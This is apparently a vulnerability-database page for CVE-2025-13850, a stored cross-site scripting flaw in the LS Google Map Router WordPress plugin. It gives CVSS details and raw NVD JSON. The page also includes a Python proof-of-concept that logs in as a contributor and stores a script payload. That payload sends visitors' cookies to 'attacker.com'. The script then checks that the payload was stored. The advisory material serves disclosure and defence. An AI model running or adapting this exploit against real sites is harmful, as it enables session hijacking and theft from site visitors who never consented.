Security Vulnerability Report
中文
CVE-2025-13850 CVSS 6.4 MEDIUM

CVE-2025-13850

Published: 2025-12-12 04:15:43
Last Modified: 2026-04-15 00:35:42

Description

The LS Google Map Router plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'map_type' parameter in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LS Google Map Router插件 <= 1.1.0(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13850 PoC - Stored XSS in LS Google Map Router plugin # Affected Version: <= 1.1.0 # Attack Vector: map_type parameter import requests from bs4 import BeautifulSoup # Configuration target_url = "http://target-wordpress-site.com" username = "attacker_contributor" # Contributor-level account password = "password123" # XSS Payload xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Step 1: Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/admin.php?page=ls-gmap-route" } response = session.post(login_url, data=login_data) print("[+] Logged in successfully") if "wp-admin" in response.url else print("[-] Login failed") # Step 2: Inject XSS payload via map_type parameter plugin_settings_url = f"{target_url}/wp-admin/admin.php?page=ls-gmap-route" # Malicious payload injection inject_data = { "map_type": xss_payload, "submit": "Save Changes" } response = session.post(plugin_settings_url, data=inject_data) print("[+] XSS payload injected successfully") if response.status_code == 200 else print("[-] Injection failed") # Step 3: Verify the stored XSS # Visit any page containing the map shortcode page_with_map = f"{target_url}/?page_id=123" # Page with [ls_gmap_route] shortcode response = session.get(page_with_map) if xss_payload in response.text: print("[+] Stored XSS confirmed - payload present in page output") print(f"[+] Payload will execute when page is loaded in victim's browser") else: print("[-] XSS not found - may require shortcode activation")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13850", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:42.817", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LS Google Map Router plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'map_type' parameter in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ls-gmap-route/tags/1.1.0/ls-gmap_route.php#L61", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ls-gmap-route/trunk/ls-gmap_route.php#L61", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e3581172-10d8-4b11-95f7-ee1835e29606?source=cve", "source": "[email protected]"}]}}